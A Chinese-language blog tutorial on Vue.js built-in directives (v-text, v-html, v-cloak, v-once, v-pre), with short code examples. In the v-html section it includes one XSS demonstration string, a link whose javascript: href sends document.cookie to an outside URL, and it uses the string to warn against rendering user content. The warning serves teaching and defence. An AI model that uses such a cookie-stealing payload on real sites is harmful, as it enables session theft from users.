(十七)Vue之内置指令

Vue学习目录

上一篇:(十六)Vue之过滤器

下一篇:(十八)Vue之自定义指令

学过的内置指令

我们学过的指令:
        v-bind		: 单向绑定解析表达式, 可简写为 :xxx
        v-model		: 双向数据绑定
        v-for  		: 遍历数组/对象/字符串
        v-on   		: 绑定事件监听, 可简写为@
        v-if 		: 条件渲染(动态控制节点是否存存在)
        v-else-if 	: 条件渲染(动态控制节点是否存存在)
        v-else 		: 条件渲染(动态控制节点是否存存在)
        v-show 		: 条件渲染 (动态控制节点是否展示)

v-text指令

作用:向其所在的节点中渲染文本内容。
与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
写法:v-text=属性名"

<div id="root">
    <!--插值表达式写法-->
    <div>插值表达式:{{name}}</div>
    <div>您好!{{str}}</div><hr>
    <!--v-text写法-->
    <div v-text="name">321</div>
    <div v-text="str">123</div>
</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            name:'内置指令',
            str:'<h3>您好!text指令</h3>'
        }

    })
</script>

效果:v-text会替换掉节点中的内容,而插值表达式不会。
请添加图片描述

v-html指令

作用:向指定节点中渲染包含html结构的内容。
写法:v-html=“属性名”
与插值语法的区别:

  • (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
  • (2).v-html可以识别html结构。

严重注意:v-html有安全性问题!!!!

  • (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
  • (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<div id="root">
    <!--一种写法,插值表达式-->
    <div>{{name}}</div>
    <div>您好!{{str}}</div><hr>
    <!--一种写法:v-text=属性名"-->
    <div v-text="name"></div>
    <div v-text="str"></div><hr>
    <!--一种写法:v-html=属性名"-->
    <div v-html="name"></div>
    <div v-html="str"></div>
    <!--安全性问题-->
    <div v-html="str2"></div>
</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            name:'内置指令',
            str:'<h3>您好!html指令</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点我会产生安全问题!</a>'

        }
    })
</script>

测试安全问题需要添加一个cookie
请添加图片描述

效果:点击超链接会把用户的cookie携带过去,如果这个网址是一个非法网址,俗称钓鱼网站,就会严重产生安全问题。
请添加图片描述
在这里插入图片描述

v-cloak指令

v-cloak本身没有值,只需设置即可。本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。

作用:使用css配合可以解决初始化慢导致页面闪动的最佳实践

当使用直接在 DOM 中书写的模板时,可能会出现一种叫做“未编译模板闪现”的情况:用户可能先看到的是还没编译完成的双大括号标签,直到挂载的组件将它们替换为实际渲染的内容。

	<style>
        [v-cloak]{
            display:none;
        }
    </style>
<div id="root">
    <div v-cloak>{{name}}</div>
</div>
<script type="text/javascript" src = "../js/vue.js"></script>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    new Vue({
        el:'#root',
        data:{
            name:'v-cloak指令'
        }
    })
</script>

v-once指令

v-once本身没有值,只需设置即可。
作用:仅渲染元素和组件一次,并跳过之后的更新。以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<div id="root">

    <h2 v-once>初始的n值:{{n}}</h2>
    <h2>当前n值是:{{n}}</h2>

    <button @click="n++">点我n+1</button>
</div>

</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            n:0
        }

    })
</script>

效果:不管怎么加,v-once修饰的节点都不会再更新
在这里插入图片描述

v-pre指令

v-pre本身没有值,只需设置即可。
作用:跳过该元素及其所有子元素的编译。可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<div id="root">
    <h2>普通插值语法</h2>
    <h2>当前n值是:{{n}}</h2>
    <h2 v-pre>v-pre</h2>
    <h2 v-pre>当前n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>

效果:v-pre不会进行响应式
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

忆亦何为

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值